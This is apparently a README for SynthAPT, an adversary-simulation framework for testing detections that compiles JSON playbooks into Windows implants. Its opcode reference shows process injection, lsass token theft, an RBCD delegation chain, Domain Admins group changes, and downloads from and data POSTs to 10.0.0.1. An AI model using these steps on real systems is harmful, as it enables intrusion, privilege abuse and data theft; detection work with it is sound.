SynthAPT

概要
SynthAPTは、複雑な攻撃経路を再現するためのプレイブックベースの adversary simulation フレームワークです。高度な検知機能やAIベースの調査エージェントを検証するために設計されています。中核となる考え方は、マルウェアの動作をJSONで表現し、それを機能的なマルウェアにコンパイルできることです。これにより、LLMを使用して現実的なシナリオを迅速に開発できます。

コアインプラントは、プレイブックインタプリタによって駆動されるシェルコードペイロードです。プレイブックは攻撃経路全体を事前に定義し、インプラントはそれに従い、プロセスインジェクションや横向き移動などを通じて環境内を移動します。各インプラントは独自の命令セットを持つ独立したスレッドとして起動するため、マルチステージ攻撃(例:初期アクセス → 権限昇格 → 横向き移動 → データ流出)は、連携するインプラントのグラフとして表現され、すべてプレイブック内で事前に定義されます。これには3つの大きな利点があります。
- ペイロードはC2インフラストラクチャなしで実際のマルウェアを模倣できます。攻撃経路全体がペイロードに埋め込まれ、C2とのやり取りを模擬できます。
- ペイロードは再現可能です。毎回まったく同じ攻撃経路を実行するため、検知機能の回帰テストに適しています。
- LLMは脅威インテリジェンスレポートやブログを、攻撃の専門知識やゼロからのマルウェア構築を必要とせずに、動作可能なペイロードに直接変換できます。

機能
- 位置独立シェルコード - インプラントは完全にPICであり、任意のローダーやインジェクターに組み込めます。
- 豊富なオペコードライブラリ - 実行、トークン操作、プロセスインジェクション、プロセスハロウイング、横向き移動、AD列挙・変更、レジストリ、サービスなど。
- 自己複製ペイロード - インプラントは異なるタスクセットを持つEXEまたはDLLとして自身をドロップでき、C2なしでのマルチステージ配信が可能です。
- 柔軟な出力形式 - プレイブックを生のシェルコード、PE EXE、またはPE DLLにコンパイルできます。
- インメモリPython - Pythonインタプリタを実行時にリフレクティブロードでき、すべてのインプラント機能をPythonモジュールとして公開し、柔軟なスクリプトが可能です。
- NPCシミュレーション - 'explorer'オペコードを使用すると、ペイロードを自動的に解凍して起動し、ユーザー操作の痕跡を再現します(Explorer.exeにインジェクションした場合)。
- LLMエージェント付きTUIエディタ - 端末ベースのプレイブックエディタにClaudeエージェントが統合されており、自然言語や脅威インテリジェンスからプレイブックを生成・編集できます。
- BOFローダー - 標準のBeacon Object Filesで機能を拡張可能。
ソースからのビルド
リリースを使用したくない場合は、以下のようにコンパイルできます。
- cargo
- rustup
- binutils-mingw-w64-x86-64```bash
cargo install cargo-make
rustup toolchain install nightly
rustup target add x86_64-pc-windows-gnu --toolchain nightly
sudo apt install gcc-mingw-w64-x86-64
cargo make でビルド:```bash
cargo make build
./target/release/synthapt
これにより、shellcode とエディタがコンパイルされます。
使い方
コマンドなしで SynthAPT を実行すると、エディタに移行します。Claude APIキーを提供し、プロンプトを入力するたびに変更を確認できます。```bash
SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands:
edit Open the TUI editor with a playbook loaded from PATH
validate Validate a playbook JSON file and print any errors
export-skill Export the agent system prompt as a Claude Code slash command skill
compile Compile a playbook to a payload
別のLLMやサブスクリプションを使用したい場合は、`synthapt export-skill`を実行し、それを任意のコーディング環境で使用できます。
JSONプレイブックが出力されるはずです。それをペイロードにコンパイルするには、compileコマンドを使用してください:```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
Opcodes リファレンス
定数は文字列、hexオブジェクト、base64オブジェクトとして定義できます:```json
"constants": [
"c:\windows\temp\file.txt",
{ "hex": "deadbeef" },
{ "base64": "SGVsbG8=" }
]
---
### end (0x00)
タスクセットの終了。コンパイラによって自動的に追加されます - 手動で追加する必要はありません。
---
### store_result (0x01)
最後の操作結果を変数に格納します。
| フィールド | タイプ | |
|-------|------|-|
| var | u16 | **必須** |```json
{ "op": "store_result", "var": 0 }
get_shellcode (0x02)
オプションのタスクIDやマジック値をパッチした現在のシェルコードバイトを返します。
| フィールド | 型 | |
|---|
| task | u8 | オプション |
| magic | u32 hex string or number | オプション |
|
### sleep (0x03)
指定されたミリ秒だけスリープします。
| フィールド | 型 | |
|-------|------|-|
| ms | u32 | **必須** |```json
{ "op": "sleep", "ms": 5000 }
run_command (0x04)
cmd.exeを介してコマンドを実行します。
| フィールド | 種類 | |
|---|
| command | string | 必須 |
| { "op": "run_command", "command": "whoami /all" } | | |
### get_cwd (0x05)
現在の作業ディレクトリを取得します。引数はありません。```json
{ "op": "get_cwd" }
read_file (0x06)
ファイルを読み込み、その内容を返します。
| フィールド | 型 | |
|---|
| path | string | 必須 |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | | |
| { "op": "read_file", "path": "%0" } | | |
---
### write_file (0x07)
ファイルにバイトを書き込みます。
| Field | Type | |
|-------|------|-|
| path | string | **必須** |
| content | bytes | *オプション*(省略時は空ファイル) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
check_error (0x08)
変数のステータスコードを出力します (0 = 成功、非ゼロ = エラー)。
| フィールド | タイプ | |
|---|
| var | u16 | 必須 |
| { "op": "check_error", "var": 0 } | | |
### 条件分岐 (0x09)
変数の状態に基づいて異なるタスクインデックスへ分岐します。
| フィールド | 型 | |
|-------|------|-|
| mode | `"data"` または `"error"` | **必須** |
| var1 | u16 | **必須** |
| var2 | u16 | *オプション* (単一チェックではなく、2つの変数を比較) |
| true | u16 | **必須** (条件が真の場合のタスクインデックス) |
| false | u16 | **必須** (条件が偽の場合のタスクインデックス) |
`true_target` と `false_target` は `true` と `false` の別名として受け入れられます。
単一変数モード:
- `"data"` — var1 が空でないデータを持つ場合に真
- `"error"` — var1 のステータスが 0(成功)の場合に真
2変数モード(var2 が存在する場合):
- `"data"` — var1 のデータが var2 のデータと等しい場合に真
- `"error"` — var1 のエラーコードが var2 のエラーコードと等しい場合に真```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
set_var (0x0A)
変数にリテラル値を設定します。
| フィールド | 型 | |
|---|
| var | u16 | 必須 |
| data | bytes | 省略可(省略時は空) |
リテラル文字列および16進数/Base64値は、読み取り時に通常の操作結果のように見えるように、5バイトの結果プレフィックスとともに保存されます。変数($n)および定数(%n)の参照はそのまま渡されます。```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
---
### print_var (0x0B)
変数の内容をstdoutに表示(デバッグ)。`var`を省略すると、最後の操作結果を表示します。
| フィールド | タイプ | |
|-------|------|-|
| var | u16 | *オプション* (省略時は最後の結果を表示) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
goto (0x0C)
現在のタスクセット内のタスクインデックスへの無条件ジャンプ。
| Field | Type | |
|---|
| target | u16 | 必須 |
| { "op": "goto", "target": 2 } | | |
---
### migrate (0x0D)
検索文字列またはPIDに一致するプロセスにシェルコードを注入します。
| フィールド | タイプ | |
|-------|------|-|
| task_id | u8 | **必須** |
| search | string または number | *オプション* (空欄=検索なし; 数値=対象PID) |
| magic | u32 hex string または number | *オプション* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
list_procs (0x0E)
実行中のプロセスを一覧表示します。タブ区切りの行を返します: pid\timage\tcmdline\n。引数はありません。```json
{ "op": "list_procs" }
---
### get_const (0x0F)
定数を最後の結果にロードします。`index` もしくは `const_idx` をフィールド名として受け入れます。
| フィールド | タイプ | |
|-------|------|-|
| index | u16 | **必須** |```json
{ "op": "get_const", "index": 0 }
wmi_exec (0x10)
WMI を介してコマンドを実行します。オプションでリモートホスト上でも可能です。
---
### http_send (0x11)
HTTP/Sリクエストを送信します。
| Field | Type | |
|-------|------|-|
| host | string | **必須** |
| method | string | *任意* (デフォルト: `"GET"`) |
| port | u16 | *任意* (デフォルト: `80`) |
| path | string | *任意* (デフォルト: `"/"`) |
| secure | bool | *任意* (デフォルト: `false`) |
| body | bytes | *任意*(省略時は空) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
sacrificial (0x12)
プロセスをサスペンド状態で起動し、シェルコードを注入して再開します。
---
### redirect_stdout (0x13)
stdout をファイルまたは名前付きパイプにリダイレクトします。後続の `run_command` の出力はそこに送られます。
| フィールド | 型 | |
|------------|----|-|
| path | string | **必須** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
shellcode_server (0x14)
接続するクライアントにシェルコードを提供するTCPサーバーを起動します。各クライアントは、増加するマジック値とともにコピーを受け取ります。
| Field | Type | |
|---|
| port | u16 | 必須 |
| magic_base | u32 hex string or number |
---
### resolve_hostname (0x15)
ホスト名をIPv4アドレス文字列に解決します。
| フィールド | 型 | |
|-------|------|-|
| hostname | string | **必須** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }
psexec (0x16)
SMB経由でリモートホストにバイナリをコピーし、サービスとして実行します(PsExec スタイルの横方向移動)。
---
### generate_exe (0x17)
現在のシェルコードとバイトコードを埋め込んだPE実行可能ファイルを生成します。
| フィールド | 型 | |
|-------|------|-|
| task_id | u8 | **必須** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
run_bof (0x18)
ビーコンオブジェクトファイル(BOF)を実行します。
---
### query_ldap (0x19)
LDAPディレクトリをクエリします。
| フィールド | 型 | |
|-----------|----|-|
| base | string | **必須** (ベースDN) |
| filter | string | **必須** |
| scope | u8 | *オプション* (デフォルト: `2` = サブツリー; `0` = ベース, `1` = ワンレベル) |
| attribute | string | *オプション* (空 = すべての属性を返す) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
set_ad_attr_str (0x1A)
Active Directory属性を文字列値に設定します。
---
### set_ad_attr_bin (0x1B)
Active Directory属性をバイナリ値に設定します。空の値を渡すと属性が削除されます。
| Field | Type | |
|-------|------|-|
| dn | string | **必須** |
| attr | string | **必須** |
| value | bytes | **必須** (空 = 属性削除) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
portscan (0x1C)
1つ以上のターゲット上のTCPポートをスキャンします。開いているポートのみに対してhost\tport\n形式の行を返します。
---
### set_user_password (0x1D)
NetUserSetInfo を使用してローカルまたはドメインユーザーのパスワードを設定します。
| フィールド | 型 | |
|-------|------|-|
| username | string | **必須** |
| password | string | **必須** |
| server | string | *オプション* (空 = ローカルマシン) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
add_user_to_localgroup (0x1E)
NetLocalGroupAddMembersを使用して、ユーザーをローカルグループに追加します。
---
### remove_user_from_localgroup (0x1F)
NetLocalGroupDelMembersを使用して、ローカルグループからユーザーを削除します。
| Field | Type | |
|-------|------|-|
| group | string | **必須** |
| username | string | **必須** |
| server | string | *オプション* (空の場合はローカルマシン) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
get_user_sid (0x20)
LookupAccountName を使用してユーザーの SID 文字列を検索します。
| Field | Type | |
|---|
| username | string | 必須 |
| server | string | オプション (空の場合はローカルマシン) |
SID 文字列(例: S-1-5-21-...)を返します。```json
{ "op": "get_user_sid", "username": "Administrator" }
{ "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
---
### add_user_to_group (0x21)
NetGroupAddUser を使ってドメイングループにユーザーを追加します。
| フィールド | 型 | |
|-------|------|-|
| group | string | **必須** |
| username | string | **必須** |
| server | string | *オプション* (空の場合はローカルDC) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
remove_user_from_group (0x22)
NetGroupDelUser を介してドメイングループからユーザーを削除します。
---
### create_rbcd_ace (0x23)
リソースベースの制約付き委任 (Resource-Based Constrained Delegation) 用のバイナリ ACE を構築します。結果は `msDS-AllowedToActOnBehalfOfOtherIdentity` に直接書き込むのに適しています。
| フィールド | 型 | |
|-----------|------|-|
| sid | 文字列 | **必須** (SID 文字列、例: `get_user_sid` より) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
reg_create_key (0x24)
レジストリキーを作成します。
| フィールド | タイプ | |
|---|
| key | string | 必須 (フルパス、例: "HKLM\\SOFTWARE\\MyApp") |
| { "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" } | | |
---
### reg_delete_key (0x25)
レジストリキーを削除します。
| フィールド | 型 | |
|-------|------|-|
| key | string | **必須** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
reg_set_value (0x26)
レジストリ値を設定します。
---
### reg_query_value (0x27)
レジストリ値をクエリします。生の値のバイトを返します。
| フィールド | 型 | |
|-------|------|-|
| key | string | **必須** |
| value_name | string | **必須** (デフォルト値の場合は空文字列) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
make_token (0x28)
LogonUserを使用して偽装トークンを作成し、それを偽装します。デフォルトのログオンタイプは9(LOGON32_LOGON_NEW_CREDENTIALS)で、ローカルトークンを変更せずに、指定された資格情報をアウトバウンドネットワーク接続に使用します。
---
### impersonate_process (0x29)
プロセストークンを開いて偽装します。権限昇格や横断的なトークン窃取に有用です。
| フィールド | 型 | |
|-------|------|-|
| search | string | **必須** (イメージ名またはコマンドラインに一致) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }
enable_privilege (0x2A)
プロセストークン上で特権を有効にします。
---
### list_process_privs (0x2B)
プロセスの特権名とその有効/無効状態をリストします。`name\tenabled\n` または `name\tdisabled\n` の行を返します。
| フィールド | 型 | |
|-------|------|-|
| search | string | *(オプション)* (空の場合は現在のプロセス) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }
list_thread_privs (0x2C)
現在のスレッドトークン上の特権を一覧表示します。list_process_privs と同じ形式を返します。引数はありません。```json
{ "op": "list_thread_privs" }
---
### delete_file (0x2D)
ファイルを削除します。
| フィールド | タイプ | |
|-------|------|-|
| path | string | **必須** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }
revert_to_self (0x2E)
元のプロセストークンに戻り、偽装を終了します。引数はありません。```json
{ "op": "revert_to_self" }
---
### start_service (0x2F)
Windowsサービスを開始します。
| Field | Type | |
|-------|------|-|
| service_name | string | **required** |
| target | string | *オプション* (空の場合はローカルマシン) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
delete_service (0x30)
Windowsサービスを削除します。
| フィールド | タイプ | |
|---|
| service_name | string | 必須 |
### create_thread (0x31)
現在のプロセス内で新しいスレッドを生成し、シェルコードのコピーを実行します。`magic` が省略された場合、プロセスヒープをスキャンして、既存のインスタンスと衝突しない一意の magic を見つけます。
| フィールド | 型 | |
|-------|------|-|
| task | u8 | *オプション* (省略または `255` = 現在のスレッドと同じタスクセット) |
| magic | u32 hex string or number | *オプション* (省略時は自動検出) |
> **警告**: `task` を省略すると、新しいスレッドで同じタスクセットが実行されます。タスクセットが再度 `create_thread` を呼び出すと、無限スレッドが発生します。```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }
generate_dll (0x32)
現在のシェルコードを埋め込んだDLLを生成します。DLL_PROCESS_ATTACH時にシェルコードを実行し、シェルコードを実行する名前付き関数をエクスポートします。
---
### shell_execute (0x33)
COM経由でShellExecuteExを使用してファイルを実行します。結果として生成されるプロセスは、シェルによって起動されたように見えます。
| フィールド | 型 | |
|-------|------|-|
| path | string | **必須** |
| verb | string | *オプション* (例: `"open"`, `"runas"`) |
| args | string | *オプション* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
Windows Shell を使用して ZIP アーカイブを展開します。
| フィールド | 型 | |
|---|
| path | string | 必須 (ZIP ファイルへのパス) |
同じディレクトリ内の ZIP ファイルと同じ名前(拡張子を除く)のフォルダに展開します。```json
{ "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }
---
### shell_execute_explorer (0x35)
explorer.exe を親プロセスとして COM を使用してファイルを実行します。生成されたプロセスは、ユーザーがエクスプローラーから起動したように見えます。
| フィールド | 型 | |
|-------|------|-|
| path | string | **必須** |
| verb | string | *オプション* |
| args | string | *オプション* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
load_library (0x36)
LoadLibraryWを使用して現在のプロセスにDLLをロードします。
| Field | Type | |
|---|
| path | string | required |
| { "op": "load_library", "path": "C:\Users\Public\payload.dll" } | | |
---
### pyexec (0x37)
URLからPython DLLをダウンロードし(初回ダウンロード後はメモリにキャッシュ)、Pythonスクリプトを実行します。すべてのエージェントオペコードへのバインディングを持つ`agent`モジュールを公開します。
| フィールド | 型 | |
|-------|------|-|
| url | string | *オプション* (Python DLLのURL; 空の場合は既に読み込まれているPythonを使用) |
| script | string | *オプション* (実行するPythonコード; 空の場合は初期化のみで実行しない) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
hollow (0x38)
プロセス中空化: 正規のプロセスを中断状態で起動し、そのエントリポイントをシェルコードで上書きし、再開する。
---
### migrate_apc (0x39)
プロセスをサスペンド状態で起動し、RWXメモリを割り当て、shellcodeを書き込み、メインスレッドにAPCをキューし、再開します。起動したプロセスのPIDを返します。
| Field | Type | |
|-------|------|-|
| image | string | **必須** |
| task_id | u8 | **必須** |
| magic | u32 hex string or number | *オプション* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
register_service (0x3A)
現在のプロセスをWindowsサービスとして登録するには、StartServiceCtrlDispatcher を呼び出します。プロセスがサービスコントロールマネージャー(SCM)によって起動された時点で早めに呼び出す必要があります。そうしないと、SCM は約30秒後にプロセスを強制終了します。SCM との通信をバックグラウンドスレッドで実行するため、メインタスクセットは通常通り続行されます。
| Field | Type | |
|---|
| service_name | string | 必須 (別名: name) |
| { "op": "register_service", "service_name": "MySvc" } | | |
---
### exit_process (0x3B)
現在のプロセスを終了します。
| Field | Type | |
|-------|------|-|
| exit_code | u32 | *オプション* (デフォルト: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }
hollow_apc (0x3C)
プロセスを一時停止させて起動し、APCを介してシェルコードを注入します。migrate_apcと似ていますが、オプションのPPIDなりすまし機能があります。
---
### frida_hook (0x3F)
URLからFrida gadget DLLをダウンロードし(初回ダウンロード後にキャッシュ)、JavaScriptフックをインストールします。
| Field | Type | |
|-------|------|-|
| url | string | **必須** |
| script | string | **必須** (FridaのAPIを使用するJavaScript) |
| name | string | *オプション* (後で `frida_unhook` で参照するためのフック名) |
| callback_host | string | *オプション* (`send()` メッセージをHTTP POSTするホスト) |
| callback_port | u16 | *オプション* |
| batch_size | u32 | *オプション* (HTTP POSTバッチあたりのメッセージ数(デフォルト: `50`)) |
| flush_interval | u32 | *オプション* (フラッシュ間隔(ミリ秒、デフォルト: `5000`)) |
`send()` を介してJavaScriptで送信されたメッセージは、`callback_host:callback_port/frida` にPOSTされるか、コールバックが設定されていない場合はstdoutに書き込まれます。```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
frida_unhook (0x40)
Fridaフックを解除する。引数なしの場合は、すべてのフックを解除する。
---
### kill (0x42)
動作中のエージェントインスタンスをマジック値で強制終了します。
| フィールド | 型 | |
|-------|------|-|
| magic | u32 16進文字列または数値 | *オプション* (現在のインスタンスを強制終了する場合は省略) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }
http_beacon (0x43)
HTTP C2 サーバに接続し、バイトコードタスクをポーリングします。
---
### mem_read (0x44)
現在のプロセスまたはリモートプロセスのメモリアドレスから生のバイトを読み取ります。
| フィールド | 型 | 説明 |
|-------|------|-|
| address | hex string | **必須**(16進文字列としてのアドレス、例:`"7FFE0030"`;`0x` プレフィックスは自動的に除去されます) |
| size | u32 | **必須** |
| pid | u32 | *任意*(リモートプロセス;ローカル読み取りの場合は省略) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
dll_list (0x45)
PEB LDR の InLoadOrderModuleList を走査し、ロード済みモジュールを返します。postcard シリアライズされた Vec<ProcessResult<ModuleInfo>> を返します。
| Field | Type | |
|---|
| pid | u32 または "all" |
---
### mem_map (0x46)
`VirtualQuery`/`VirtualQueryEx` を使用して仮想メモリ領域を列挙します。postcard シリアライズされた `Vec<ProcessResult<MemRegion>>` を返します。FREE 領域はスキップします。IMAGE 領域にはモジュール名と PE セクションが含まれます。
| Field | Type | |
|-------|------|-|
| pid | u32 or `"all"` | *オプション* (省略 = 現在のプロセス; `"all"` = アクセス可能なすべてのプロセス) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
malfind (0x47)
コミットされたプライベート実行可能メモリ領域を検出 — 注入されたシェルコードやリフレクティブDLLの指標。全ゼロページをスキップし、MZヘッダがある領域を記録。postcardシリアライズされた Vec<ProcessResult<MalfindHit>> を返す。
---
### ldr_check (0x48)
IMAGEメモリ領域をPEBモジュールリストと相互参照して、リンクが外れたり隠されたDLL(`InLoadOrderModuleList` に存在しないMZヘッダを持つ領域)を検出します。postcardシリアライズされた `Vec<ProcessResult<LdrCheckHit>>` を返します。
| Field | Type | |
|-------|------|-|
| pid | u32 または `"all"` | *省略可能*(省略時は現在のプロセス、`"all"` はアクセス可能なすべてのプロセス) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
Detection
Like all frameworks, the implant has a distinct in-memory footprint, and many plaintext strings that give it away. You can build signatures off the base shellcode file: out/shellcode.bin
Attribution
This project extends Rustic64Shell by safedev.
The reflectively loaded Python DLL is from farfella